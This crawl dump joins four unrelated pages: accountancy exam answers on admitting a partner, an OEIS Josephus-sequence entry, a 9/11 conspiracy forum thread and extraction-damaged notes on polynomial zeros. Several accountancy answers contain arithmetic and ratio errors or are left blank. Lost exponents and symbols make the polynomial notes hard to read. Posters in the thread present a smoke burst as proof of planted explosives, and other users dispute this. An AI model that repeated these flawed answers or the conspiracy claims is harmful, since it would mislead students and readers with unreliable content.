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https://www.ncertbooksolutions.com/reconstitution-of-a-partnership-firm-admission-of-a-partner-class-12-accountancy-exam-questions/ | 1,713,674,640,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296817729.0/warc/CC-MAIN-20240421040323-20240421070323-00202.warc.gz | 833,755,895 | 26,947 | # Reconstitution Of A Partnership Firm – Admission Of A Partner Class 12 Accountancy Exam Questions
Please refer to Reconstitution Of A Partnership Firm – Admission Of A Partner Class 12 Accountancy Exam Questions provided below. These questions and answers for Class 12 Accountancy have been designed based on the past trend of questions and important topics in your class 12 Accountancy books. You should go through all Class 12 Accountancy Important Questions provided by our teachers which will help you to get more marks in upcoming exams.
## Class 12 Accountancy Exam Questions Reconstitution Of A Partnership Firm – Admission Of A Partner
Class 12 Accountancy students should read and understand the important questions and answers provided below for Reconstitution Of A Partnership Firm – Admission Of A Partner which will help them to understand all important and difficult topics.
Question. On what occasions does the need for valuation of goodwill arise?
Ans. Need of valuation of goodwill arises on the following occasions:-
(i) Change in profit sharing ratio of existing partners.
(ii) Admission of a partner.
(iii) Retirement of a partner.
(iv) Death of a partner.
Question. Why is it necessary to revalue assets and reassess liabilities at the time of admission of new partner?
Ans. It is necessary to revalue assets and reassess liabilities at the time of admission of new partners as if assets and liabilities are overstated or understated in the books then its benefits or loss should not affect the near partner.
Question. What is meant by sacrificing ratio?
Ans. Sacrificing ratio is the ratio in which old partners have agreed to sacrifice their share of profit in favour of the new partner. This ratio is calculated by deducting the new ratio from the old ratio.
Sacrificing Ratio = Old Ratio – New Ratio
Question. State two occasions when sacrificing ratio may be applied.
Ans. (i) On admission of a new partner.
(ii) On change on profit sharing ratio of existing partner
Question. A business has earned average profit of Rs. 60,000 during the last few years. The assets of the business are Rs. 5,40,000 and its external liabilities are Rs. 80,000. The normal rate of return is 10%. Calculate the value of goodwill on the basis of capitalisation of super profits.
Ans. (i)Capital employed = Assets – Liabilities
= 540000 – 80000
= Rs. 460000
(ii) Normal Profit = Capital employed X Normal rate of return/100
= Rs. 460000 X 10/100 = 46000
(iii) Super Profit = Firm’s Average profit – Normal Profit
= 60000 – 46000
= 14000
(iv) Goodwill = Super profit X 100/ Normal rate of return
= 14000 X 100/ 10
= 140000
Question. The capital of a firm of Arpit and Prajwal is Rs. 10,00,000. The market rate of return is 15% and the goodwill of the firm has been valued Rs. 1,80,000 at two years purchase of super profits. Find the average profits of the firm.
Ans. (i) Super profit = Value of goodwill /Number of years purchase
= 180000/2
= 90000
(ii) Normal Profit = Capital employed X Normal rate of return /100
= 1000000 X 15/ 100
= 150000
(iii) Average Profit = Normal Profit + Super profit
= 150000 + 90000
= 240000
Question. The average profits for last 5 years of a firm are Rs. 20,000 and goodwill has been worked out Rs. 24,000 calculated at 3 years purchase of super profits. Calculate the amount of capital employed assuming the normal rate of interest is 8 %.
Ans. (i) Super profit = value of goodwill/ number of years purchase
= 240000/3
= 80000
(ii) Normal Profit = Average profit – Super profit
= 20000 – 8000
= Rs. 12000
(iii) Capital Employee = Normal Profit X 100/ Normal rate of return
= 12000 X 100/8
= 150000
Question. Rahul and Sahil are partners sharing profits together in the ratio of 4:3. They admit Kamal as a new partner. Rahul surrenders 1/4th of his share and Sahil surrenders 1/3rd of his share in favour of Kamal. Calculate the new profit sharing ratio.
Ans. Rahul’s sacrificing share = 4/7 X 1/4 = 1/7
Sahil’s sacrificing share = 3/7 X 1/3 = 1/7
Rahul’s new share = 4/7 – 1/7 = 3/7
Sahil’s New share = 3/7 – 1/7 = 2/7
Kamal’s share = 1/7+1/7 = 2/7
New profit sharing ratio = 3:2:2
Question. Ajay and Naveen are partners sharing profits in the ratio of 5:3. Surinder is admitted in to the firm for 1/4th share in the profit which he acquires from Ajay and Naveen in the ratio of 2:1. Calculate the new profit sharing ratio.
Ans. Ajay’s sacrifies = 1/4 X 2/3 = 2/12
Naveen’s sacrifies = 1/4 X 1/3 = 1/12
Ajay’s new share = 5/8 – 2/12 = 11/24
Naveen’s New share = 3/8 – 1/12 = 7/24
Surender’s share = 1/4 or 6/24
New ratio = 11:7:6
Question. A and B were partners sharing profits in the ratio of 3:2. A surrenders 1/6th of his share and B surrenders 1/4th of his share in favour of C, a new partner. What is the new ratio and the sacrificing ratio.
Ans. Old ratio = A: B = 3:2
A surrender = 3/5 X 1/6 = 3/30 =1/10
B surrender = 2/5 X 1/4 = 1/10
A’s new share = 3/5 – 1/10 = 5/10
B’s new share = 2/5 – 1/10 = 3/10
C’s new share = 1/10 +1/10 = 2/10
New ratio = 5/10, 3/10, 2/10 OR 5:3:2
Sacrificing Ration = Old ratio – New ratio
A = 3/5 – 5/10 = 1/10
B = 2/5 – 3/10 = 1/10
Sacrificing ratio = 1:1
Question. Aarti and Bharti are partners sharing profits in the ratio of 5:3. They admit Shital for 1/4th share and agree to share between them in the ratio of 2:1 in future. Calculate new and sacrificing ratio.
Ans. Old ratio = 5:3
Shital = 1/4th Share
Let the profit be Rs. 1
Remaining profit = 1-1/4 =3/4
Arti : Babita = 2:1
Arti’s share = 3/4 X 2/3 = 1/2
Babita’s Share = 3/4 X 1/3 = 1/4
New Ratio = 1/2, 1/4, 1/4 Or 2:1:1
Sacrificing ratio = Old ratio – New ratio
Arti’s sacrifies = 5/8 – 2/4 = 1/8
Babita’s Sacrifies = 3/8 – 1/4 = 1/8 Sacrificing Ratio = 1:1
Question. X and Y divide profits and losses in the ratio of 3:2. Z is admitted in the firm as a new partner with 1/6th share, which he acquires from X and Y in the ratio of 1:1. Calculate the new profit sharing ratio of all partners.
Ans.
Old ratio = X:Y = 1:1
Z is admitted for 1/6th share which he acquire from X,Y in the ratio of 1:1
Since 1/6 X 1/2 = 1/12 from X and Y
X’s new ratio = 3/5 – 1/12 = 31/60
Y’s New ratio = 2/5 – 1/12 = 19/60
Z’s share = 1/6
New ratio = 31/60, 19/60,1/6 or 31:19:10
Question. Rakhi and Parul are partners sharing profits in the ratio of 3:1. Neha is admitted as a partner. The new profit sharing ratio among Rakhi, Parul and Neha is 2:3:2. Find out the sacrificing ratio.
Ans.
Old ratio = Rakhi : Parul = 3:1
New ratio = Rakhi: Parul: Neha = 2:3:2
Rakhi’s sacrifice = 3/4 – 2/7 = 13/28
Parul’s sacrifice = 1/4 -3/7 = 5/28 (Gain)
So, Rakhi’s sacrifice 13/28th share and Parul is gaining to the extent of 5/28th share.
Question. X and Y are partners sharing profits in the ratio of 5:4. They admit Z in the firm for 1/3rd profit, which he takes 2/9th from X and 1/9th from Y and brings Rs. 1500 as premium. Pass the necessary Journal entries on Z’s admission.
Ans.
Cash A/C Dr. 1500
To premium A/C 1500
(cash brought in by Z for his share of goodwill)
Premium A/C Dr. 1500
To X’s capital A/C 1000
To Y’s Capital A/C 500
(Goodwill distributed among sacrificing partners in the ratio of 2:1.)
Question. Ranzeet and Priya are two partners sharing profits in the ratio of 3:2. They admit Nilu as a partner, who pays Rs. 60,000 as capital. The new ratio is fixed as 3:1:1. The value of goodwill of the firm was determined at Rs. 50,000. Show journal entries if Nilu brings goodwill for her share in cash.
Ans.
Cash A/C Dr. 70000
To Nilu’s capital A/C 60000
To premium A/C 10000
(Cash brought in by new partner)
Premium A/C Dr. 10000
To Priya’s capital A/C 10000
(Amount of goodwill distributed among sacrificing partner in their sacrificing ratio.)
Question. A and B are partners sharing profits equally. They admit C into partnership, C paying only Rs. 1000 for premium out of his share of premium of Rs. 1800 for 1/4th share of profit. Goodwill account appears in the books at Rs. 6000. All the partners have decided that goodwill should not appear in the new firms books.
Ans.
Cash A/C Dr. 1000
To premium A/C 1000
(Amount of goodwill brought in by C)
Premium A/C Dr. 1000
C’s capital A/C Dr. 800
To A’s capital A/C 900
To B’s capital A/C 900
(Rs. 1800 distributed among sacrificing partners in sacrificing ratio.)
Question. A and B are partners sharing profits in the ratio of 3:2. Their books showed goodwill at Rs. 2000. C is admitted with 1/4th share of profits and brings Rs. 10,000 as his capital but is not able to bring in cash goodwill Rs. 3000. Give necessary Journal entries.
Ans.
Cash A/C Dr. 10000
To C’s capital A/C 10000
(Cash brought in by C for his share of capital)
A’s capital A/C Dr. 1200
B’s Capital A/C Dr. 800
To goodwill A/C 2000
(Old goodwill written off among old partners in old ratio.)
C’s capital A/C Dr. 3000
To A’s capital A/C 1800
To B’s capital A/C 1200
(Adjustment of goodwill on admission of C)
Question. Piyush and Deepika are partners sharing in the ratio of 7:3. they admit Seema as a new partner. The new ratio being 5:3:2. Pass journal entries.
Ans.
Cash A/C Dr. 4000
To premium A/C 4000
(Amount of goodwill brought in by new partner)
Premium A/C Dr. 4000
To Piyush’s capital A/C 4000
(Goodwill distributed among sacrificing partners in their sacrificing ratio.)
Question. A and B are partners with capital of Rs. 26,000 and Rs. 22,000 respectively. They admit C as partner with 1/4th share in the profits of the firm. C brings Rs. 26,000 as his share of capital. Give journal entry to record goodwill on C’s admission.
Ans.
Cash A/C Dr. 26000
To C’s capital A/C 26000
(Amount of capital brought in by new partner.)
C’s capital A/C Dr. 7500
To A’s capital A/C 3750
To B’s capital A/C 3750
(C’s share of goodwill distributed among A and B)
Calculation of Hidden goodwill:-
Capital of A and B = 26000 + 22000
= 48000
C brings = 26000 for 1/4th share
Total capital of the firm = 26000 X 4/1
= 104000
Existing capital of the firm = 48000 + 26000
= 74000
Goodwill = 104000 – 74000
= 30000
C’s share of goodwill = 30000 X 1/4 = 7500
Question. A and B are partners sharing profits in the ratio of 3:2. They admit C into partnership for 1/4th share. C is unable to bring his share of goodwill in cash. The goodwill of the firm is valued at Rs. 21,000. give journal entry for the treatment of goodwill on C’s admission.
Ans.
C’s capital A/C Dr. 5250
To A’s capital A/C 3150
To B’s capital A/C 2100
(C’s share of goodwill distributed among old partners in sacrificing ratio i.e. 3:2)
Question. A and B are partners with capitals of Rs. 13,000 and Rs. 9000 respectively. They admit C as a partner with 1/5th share in the profits of the firm. C brings Rs. 8000 as his capital. Give journal entries to record goodwill.
Ans.
Cash A/C Dr. 8000
To C’s capital A/C 8000
(Amount of capital brought in by new partner)
C’s capital A/C Dr. 2000
To A’s capital A/C 1000
To B’s capital A/C 1000
(Share of goodwill distributed among A and B in sacrificing ratio i.e. 1:1)
Calculation of Hidden Goodwill.
C brings 8000 for 1/5 share
Since total capital of the firm = 8000 X 5/1
= 40000
Existing capital of the firm = 13000 + 9000 + 8000
= 30000
Goodwill = 40000 – 30000
= 10000
C’s share of goodwill = 10000 X 1/5
= 2000
Question. A, B and C were partners in the ratio of 5:4:1. On 31st Dec. 2006 their balance sheet showed a reserve fund of Rs. 65,000, P&L A/C (Loss) of Rs. 45,000. On 1st January, 2007, the partners decided to change their profit sharing ratio to 9:6:5. For this purpose goodwill was valued at Rs. 1,50,000.
The partners do not want to distribute reserves and losses and also do not want to record goodwill.
You are required to pass single journal entry for the above.
Ans.
C’s Capita; A/C Dr. Rs. 25, 500
To A’s Capital A/C Rs. 8,500
To B’s Capital A/C Rs. 17,000
Question. A and B were partners in the ratio of 3:2. They admit C for 3/13th share. New profit ratio after C’s admission will be 5:5:3. C brought some assets in the form of his capital and for the share of his goodwill.
Following were the assets:
Assets Rs.
Stock 2,44,000
Building 2,40,000
Plant and Machinery 1,40,000
At the time of admission of C goodwill of the firm was valued at Rs. 12,48,000.
Pass necessary journal entries.
Ans.
Question. X, Y and Z are sharing profits and losses in the ratio of 5:3:2. They decide to share future profits and losses in the ratio of 2:3:5 with effect from 1st April, 2002. They also decide to record the effect of the reserves without affecting their book figures, by passing a single adjusting entry.
Book Figure
General Reserve Rs. 40,000
Profit 2 loss A/C (Cr) Rs. 10,000 | 4,267 | 16,418 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.28125 | 3 | CC-MAIN-2024-18 | latest | en | 0.935122 |
http://oeis.org/A088452 | 1,582,537,562,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875145910.53/warc/CC-MAIN-20200224071540-20200224101540-00042.warc.gz | 107,970,765 | 4,036 | The OEIS Foundation is supported by donations from users of the OEIS and by a grant from the Simons Foundation.
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A088452 The survivor w(n,4) in a modified Josephus problem, with a step of 4. 4
1, 1, 1, 3, 2, 6, 5, 1, 3, 10, 7, 9, 1, 2, 6, 5, 17, 18, 11, 13, 15, 10, 2, 1, 11, 10, 7, 9, 17, 30, 31, 31, 19, 22, 22, 27, 26, 23, 18, 1, 1, 1, 6, 19, 17, 18, 17, 13, 15, 14, 30, 29, 53, 50, 55, 55, 50, 33, 34, 38, 38, 39, 49, 47, 46, 46, 41, 29, 31, 1, 2, 6, 1, 1, 3, 10, 34, 34, 34, 30 (list; graph; refs; listen; history; text; internal format)
OFFSET 1,4 LINKS Chris Groƫr, The Mathematics of Survival: From Antiquity to the Playground, Amer. Math. Monthly, 110 (No. 9, 2003), 812-825. MATHEMATICA w4[1] = v4[1] = u4[1] = 1; w4[n_] := w4[n] = Switch[ Mod[n, 4], 0, n + 1 - Ceiling[4w4[ Ceiling[3n/4]]/3], 1, n + 1 - Floor[(4w4[ Ceiling[3n/4]] + 1)/3], 2, n + 1 - Floor[4v4[ Ceiling[3n/4]]/3], 3, n + 1 - Floor[(4u4[ Ceiling[3n/4]] - 1)/3]]; v4[n_] := v4[n] = Switch[ Mod[n, 4], 0, n + 1 - Floor[(4w4[ Ceiling[3n/4]] + 1)/3], 1, n + 1 - Floor[(4v4[ Ceiling[3n/4]])/3], 2, n + 1 - Floor[(4u4[ Ceiling[3n/4]] - 1)/3], 3, n + 1 - Ceiling[ 4w4[ Floor[3n/4]]/3]]; u4[n_] := u4[n] = Switch[ Mod[n, 4], 0, n + 1 - Floor[ 4v4[ Ceiling[3n/4]]/3], 1, n + 1 - Floor[ (4u4[ Ceiling[3n/4]] - 1)/3], 2, n + 1 - Ceiling[ 4w4[ Floor[3n/4]]/3], 3, n + 1 - Floor[(4w4[ Floor[3n/4]] + 1)/3]]; Table[ w4[n], {n, 81}] (* from Chris Groer modified by Robert G. Wilson v Nov 15 2003 *) CROSSREFS Cf. A006257, A088442, A088443, A090569. Sequence in context: A248479 A304533 A090571 * A268719 A297878 A234922 Adjacent sequences: A088449 A088450 A088451 * A088453 A088454 A088455 KEYWORD nonn AUTHOR N. J. A. Sloane, Nov 09 2003 EXTENSIONS Terms computed by Chris Groer (cgroer(AT)math.uga.edu) STATUS approved
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Last modified February 24 04:36 EST 2020. Contains 332197 sequences. (Running on oeis4.) | 990 | 2,192 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.46875 | 3 | CC-MAIN-2020-10 | latest | en | 0.604671 |
http://www.abovetopsecret.com/forum/thread853802/pg | 1,441,058,420,000,000,000 | text/html | crawl-data/CC-MAIN-2015-35/segments/1440644068098.37/warc/CC-MAIN-20150827025428-00211-ip-10-171-96-226.ec2.internal.warc.gz | 261,490,054 | 10,741 | # 9-11 video shows 1:54 right before second plane hits 1st building smoke and fire ignites bigger!
page: 1
0
posted on Jun, 23 2012 @ 01:35 AM
check it minutes 1:56 right before second plane hits building a burst of smoke and fire is seen erupting out of the 1st building hit! What would cause a flare up of such when the second building is the one being hit? This is strange evidence of something? Please tell me your ideas? Something in building one ignited as building two was hit! Please help me figure this out?www.liveleak.com...
edit on 23-6-2012 by ATSGrunt because: correcting
2nd video guy talks of double explosion as 2nd plane hits tower, proves that something exploded in 1st tower as second one was hit. minute 4:40! we have evidence!
edit on 23-6-2012 by ATSGrunt because: correcting
edit on 23-6-2012 by ATSGrunt because: (no reason given)
posted on Jun, 23 2012 @ 01:39 AM
show me the video
posted on Jun, 23 2012 @ 01:46 AM
What video are you referring to? You didn't post anything.
posted on Jun, 23 2012 @ 01:51 AM
sorry here it is!:www.liveleak.com...
posted on Jun, 23 2012 @ 02:09 AM
man in video says as second building hit he hears a double explosion, there was an explosion in 1st tower as 2nd was hit , he said it heres proof!www.abovetopsecret.com...
posted on Jun, 23 2012 @ 02:58 AM
Originally posted by ATSGrunt
It is simply the effect of the shock wave after the 2nd plane hit, not before.... no explosion!
edit on 23-6-2012 by spoor because: (no reason given)
posted on Jun, 23 2012 @ 07:03 AM
Originally posted by spoor
Originally posted by ATSGrunt
It is simply the effect of the shock wave after the 2nd plane hit, not before.... no explosion!
edit on 23-6-2012 by spoor because: (no reason given)
Agreed
posted on Jun, 23 2012 @ 02:36 PM
Originally posted by spoor
Originally posted by ATSGrunt
It is simply the effect of the shock wave after the 2nd plane hit, not before.... no explosion!
edit on 23-6-2012 by spoor because: (no reason given)
So in other words, the truthers see something easily explainable but which they themselves don't understand, so they immediately see it as sign of a sinister secret conspiracy to take over the world.
That;s not a recognizable pattern of behavior at all.
posted on Jun, 24 2012 @ 02:00 PM
so a shockwave blew smoke out of building one when it hit building 2. Jeesh, you people will fill your head with any bull# you can to be able to sleep at night! If you are against what i have to point out then just leave you are wasting the worlds time!
top topics
0 | 711 | 2,564 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2015-35 | latest | en | 0.948493 |
http://docplayer.net/9183948-Section-2-5-finding-zeros-of-polynomial-functions.html | 1,571,326,387,000,000,000 | text/html | crawl-data/CC-MAIN-2019-43/segments/1570986675409.61/warc/CC-MAIN-20191017145741-20191017173241-00445.warc.gz | 53,835,458 | 34,796 | # SECTION 2.5: FINDING ZEROS OF POLYNOMIAL FUNCTIONS
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1 SECTION 2.5: FINDING ZEROS OF POLYNOMIAL FUNCTIONS Assume f ( x) is a nonconstant polynomial with real coefficients written in standard form. PART A: TECHNIQUES WE HAVE ALREADY SEEN Refer to: Notes 1.31 to 1.35 Section A.5 in the book Notes 2.45 Refer to 1) Factoring (Notes 1.33) 2) Methods for Dealing with Quadratic Functions (Book Section A.5: pp.a49-51) a) Square Root Method (Notes 1.31, 2.45) b) Factoring (Notes 1.33) c) QF (Notes 1.34, 2.45) d) CTS (Completing the Square) (Book Section A.5: p.a49) 3) Bisection Method (for Approximating Zeros) (Notes 2.20 to 2.21) 4) Synthetic Division and the Remainder Theorem (for Verifying Zeros) (Notes 2.33) 2.46
2 2.47 PART B: RATIONAL ZERO TEST Rational Zero Test (or Rational Roots Theorem) Let f ( x) be a polynomial with integer (i.e., only integer) coefficients written in standard form: a n x n + a n 1 x n a 1 x + a 0 ( each constant a i Z; a n 0; a 0 0; n Z ) + If f x ( ) has rational zeros, they must be in the list of ± p q p is a factor of a 0, the constant term, and q is a factor of a n, the leading coefficient. candidates, where: Note: We require a 0 0. If a 0 = 0, try factoring out the GCF first. Example Factor f ( x)= 4x 3 5x 2 7x + 2 completely, and find all of its real zeros. Solution Since the GCF = 1, and Factoring by Grouping does not seem to help, we resort to using the Rational Zero Test. We will now list the candidates for possible rational zeros of f x ( ). p (factors of the constant term, 2): ±1, ± 2 q (factors of the leading coefficient, 4): ±1, ± 2, ± 4 Note: You may omit the ± symbols above if you use them below. List of ± p q candidates: ± 1 1, ± 1 2, ± 1 4, ± 2 1, ± 2 2, ± 2 4 Simplified: ±1, ± 1 2, ± 1 4, ± 2, ±1, ± 1 2 Redundant
3 Use Synthetic Division to divide f ( x) by x k rational candidates. Remember that the following are equivalent for a nonzero polynomial f ( x) and a real number k: ( ), where k is one of our ( x k) is a factor of f ( x) k is a zero of f ( x) ( i.e., f ( k)= 0) We get a 0 remainder in the Synthetic Division process. The first is the Factor Theorem, and the second comes from the Remainder Theorem. See Notes on Section 2.3: We use trial-and-error and proceed through our list of candidates (k) for rational zeros: ±1, ± 1 2, ± 1 4, ± Let s try k = 1. Method 1 We may directly evaluate f () 1 and see if it is 0. f ( x)= 4x 3 5x 2 7x + 2 f ()= 1 41 () 3 51 () 2 71 = 6 0 ( ) ()+ 2 Therefore, 1 is not a zero of f ( x).
4 2.49 Method 2 We may also use the Synthetic Division process and see if we get a 0 remainder. Method 3 Let s try k = 2. We do not get a 0 remainder, so 1 is not a zero of f ( x). Observe from both previous methods that we can compute f () 1 by simply adding up the coefficients of ( ) in standard form. This does not work in general for f x other values of k, though. Let s use the Synthetic Division / Remainder Theorem method: We do get a 0 remainder, so 2 is a zero of f ( x). This turns out to be the key that cracks the whole problem. Incidentally, this is the same f x ( ) that we saw in Notes Now we know how our little bird got its info!
5 By the Factor Theorem, ( x 2) must be a factor of f ( x). We can find q( x), the other (quadratic) factor, by using the last row of the table. f ( x)= ( x 2) ( 4x 2 + 3x 1) Factor q( x) completely over the reals: f ( x)= ( x - 2) ( 4x - 1) ( x +1) 2.50 Remember that we always know how to break down a quadratic (use the QF if you have to), although its zeros may or may not be real. We no longer have to rely on rational zeros at this point. The zeros of f ( x) are the zeros of these factors: 2, 1 4, - 1 Observe that all three are rational and appeared in our list of candidates for rational zeros. Any one of these three could have been used to start cracking the problem. Below is a graph of f ( x)= 4x 3 5x 2 7x + 2. Where are the x-intercepts? Note: If we can get a graph of f x ( ) beforehand, then we may be able to choose our guesses for rational zeros more wisely.
6 2.51 Warning: Remember that the template for our list of candidates is: ± factor of constant term factor of leading coefficient, not the reciprocal. One way to remember which way the template goes is to use a simple example such as x 2. The list must be ±1, ± 2 and not ±1, ± 1 2. Note: If none of our rational candidates work, then f ( x) has no rational zeros. For example, x 2 3 has no rational zeros. Note: Synthetic Division may be applied repeatedly. It may be a good idea to revise the list of rational candidates before each new application (the textbook does not do this). A candidate that worked as a zero before may work again (in which case it is a repeated zero), but a candidate that failed before will never work. You may want to stop using Synthetic Division when you get down to a quadratic, or when you get down to something you think you can factor, such as x 4 1. Note: Synthetic Division may be used when we are dealing with imaginary zeros and imaginary coefficients. This is reflected in the students Study and Solutions Guide.
7 2.52 PART C: FACTORING OVER VARIOUS SETS Recall our Venn diagram from Notes P.03: Factoring over Z (the Integers) Example In our Example in Part B, we factored: 4x 3 5x 2 7x + 2 = ( x - 2) ( 4x - 1) ( x + 1) This is an example of factoring over Z, because we only use integers as coefficients (including constant terms within factors).
8 2.53 Factoring over Q (the Rationals) Example Let s factor a 4 out of the second factor in the previous Example. 4x 3 5x 2 7x + 2 = ( x - 2) ( 4x - 1) ( x + 1) Factored over Z ( ) x = 4 x - 2 x + 1 ( ) Factored over Q The Factored over Z expression is also an example of factoring over Q, but this new factorization over Q immediately identifies 1 4 as a zero. Factoring over R (the Reals) Example x 2 3 is prime (or irreducible) over Z and Q; it cannot be factored further (nontrivially; breaking out a 1 or a 1 doesn t count) using only integer or rational coefficients. However, it can be factored over R. x 2 3 = ( x + 3) ( x 3) Note that 3 and 3 are immediately identified as zeros.
9 2.54 Factoring over C (the Complex Numbers) Example Recall our work from Notes We found that: a 2 + b 2 = ( a + bi) ( a bi), where a and b were real numbers. However, this form is also appropriate if a and/or b represent variable expressions. Example x is prime (or irreducible) over R. However, it can be factored over C. x = ( x + 3i) ( x 3i) Note that 3i and 3i are immediately identified as zeros here. Factor (i.e., factor completely) x 5 + x 3 6x over R and find all of its real zeros. Solution First factor out the GCF, x. x 5 + x 3 6x = x( x 4 + x 2 6) The second factor is in Quadratic Form, because it is of the form u 2 + u 6, where u = x 2. How do we know x 4 + x 2 6 is in Quadratic Form? Observe that the exponent on x in the first term is twice the exponent on x in the second term, and the third term is a constant. Substitute u = x 2 (optional, but it may help): ( ) ( ) x 5 + x 3 6x = x x 4 + x 2 6 = xu 2 + u 6 ( )( u 2) = xu+ 3 ( )( x 2 2) Substitute back. = x x 2 + 3
10 2.55 We have factored completely over Z (and Q). Let us now factor completely over R. x 5 + x 3 6x = x x ( )( x 2 2) Reminder ( ) x + 2 = x x 2 +3 ( )( x - 2) Factored over R ( x 2 + 3) is a quadratic that is irreducible over the reals. It therefore yields no real zeros. (We need more theorems to show this.) From the other three factors, we obtain 0, - 2, and 2 as real zeros. Example Factor f ( x)= x 5 + x 3 6x over C and find all of its real zeros. Solution We continue with our work from the previous Example. We can factor ( x 2 + 3) further over C. x 5 + x 3 6x = x x ( )( x + 2) ( x - 2) Factored over R ( )( x - i 3) ( x+ 2) ( x - 2) Factored over C = x x+i 3 We immediately obtain the five complex zeros of f ( x): 0, - i 3, i 3, - 2, and 2
11 2.56 PART D: COMPLEX CONJUGATE PAIRS OF ZEROS Complex Conjugate Pairs Theorem Let a, b R. If f x ( ) is a polynomial with (only) real coefficients, then: ( ) a bi is a zero of f ( x). a + bi is a zero of f x In our last Example in Part C, if we know that i conclude that i 3 must also be a zero. 3 is a zero of f ( x), then we can Technical Note: The theorem requires real coefficients. Observe that x i has i as a zero but not i. ( ) with Note: There is a Conjugate Pairs Theorem for a quadratic polynomial f x (only) rational coefficients. Consider f ( x)= ax 2 + bx + c, where a, b, c Q and a 0. As an example, is a zero of such an f x The structure of the QF implies this. ( ) 2 3 is.
12 2.57 PART E: THE FUNDAMENTAL THEOREM OF ALGEBRA (FTA) The Fundamental Theorem of Algebra (FTA) If f ( x) is a nonconstant n th -degree polynomial in standard form with real coefficients, then it must have at least one complex (possibly real) zero. Put Another Way: It must have exactly n complex zeros, where the zeros may be repeated based on their multiplicities. Technical Note: The Fundamental Theorem of Arithmetic states that any integer greater than or equal to 2 is either prime or can be decomposed uniquely as a product of (possibly repeated) primes (or prime powers ), up to a reordering of the factors. For example, 6 can only be decomposed in one way: 6 = 2 3. The decomposition 6 = 3 2 does not count as a different one. Technical Note: The Fundamental Theorem of Calculus will allow you to evaluate definite integrals, which are used in finding areas, volumes, arc lengths, surface areas, and much more. Historical Note: The FTA was first proven by the great Gauss. For more history, see p.193 of the textbook.
13 2.58 PART F: THE LINEAR FACTORIZATION THEOREM (LFT) The Linear Factorization Theorem (LFT) If f ( x) is a nonconstant polynomial in standard form with real coefficients, then it must have a factorization into linear factors of the form: ( ) = a n ( x c 1 )( x c 2 ) ( x c n ) ( a n R; a n 0; each c i C) f x Note: The zeros of f ( x) are then c 1, c 2,, c n. Note: There may be repetitions of a zero c i, based on the multiplicity of c i. Note: a n is the leading coefficient of f ( x). Technical Note: The LFT is proven using the FTA and the Factor Theorem. See p.193 of the textbook. Technical Note: This helps explain the Complex Conjugate Pairs Theorem in Notes Example Let f ( x) = x 5 8x x 3. ( ) x 5 8x x 3 = x 3 x 2 8x + 16 ( ) 2 = x 3 x 4 It may be said that f ( x) has 5 zeros: 0, 0, 0, 4, and 4. f ( x) has only 2 distinct zeros: 0 and 4. They are both repeated zeros: The multiplicity of 0 is 3, and the multiplicity of 4 is 2. You can think of x as ( x 0).
14 2.59 Recall our Examples in Notes 2.52 and x 3 5x 2 7x + 2 = ( x - 2) ( 4x -1)( x + 1) Factored over Z ( ) x = 4 x - 2 x + 1 ( ) Factored over Q The second factorization is in LFT Form. The zeros can be immediately read off (watch out for signs, though). PART G: FACTORING OVER R Factoring Over R Theorem Let f ( x) be a nonconstant polynomial in standard form with real coefficients. Its complete factorization over R (the reals) consists of: 1) Linear factors, 2) Quadratic factors that are irreducible over R (i.e., have no real zeros), or 3) Some product of the above, possibly including repeated factors, and 4) Maybe a nonzero constant factor. One consequence: A 3 rd - or higher-degree polynomial f x ( ) with real coefficients must ( ) may pose a be factorable (reducible) over the reals. Knowing how to factor such an f x problem, however! Note: We will need this theorem when we do Partial Fraction Decompositions in Section 2.7. Technical Note: See the Proof on p.193 of the textbook. Consider the LFT Form of f ( x). If all the zeros of f x ( ) are real, then it can be factored accordingly. If there exists an imaginary zero c i, then its conjugate c i must also be a zero by the Complex Conjugate Pairs Theorem, and the product x c i ( ) x c i ( ) of their corresponding factors must have real coefficients (see p.193); this product would be a quadratic factor of f x with real coefficients that is irreducible over R (because its zeros are not real). Keep pairing off complex conjugate pairs of imaginary zeros until the remaining factors have only real coefficients. ( )
15 2.60 PART H: DESCARTES S RULE OF SIGNS Historical Note: In addition to the Cartesian plane, this is also named after René Descartes. See Notes P.27. Assumptions and Preliminaries Let f ( x) be a polynomial with real coefficients written in standard form: a n x n + a n 1 x n a 1 x + a 0 ( each constant a i R; a n 0; a 0 0; n Z ) + Note: As with the Rational Zero Test, we require a 0 0. If a 0 = 0, factor out the GCF first. For example, x 3 + x 2 factors as x 2 x + 1 zero of multiplicity 2. Variations in Sign The number of variations in sign in f x the nonzero coefficients of f x Example ( ), and we know that 0 is a real ( ) is given by the number of sign flips as ( ) are read from left to right in the standard form. Find the number of variations in sign in f ( x) = 7x 6 2x 3 + 4x + 5. Solution Because the leading coefficient is positive, we may want to clearly place a + sign in front of it: There are 2 variations in sign. (Don t worry about missing terms ; they have 0 coefficients.)
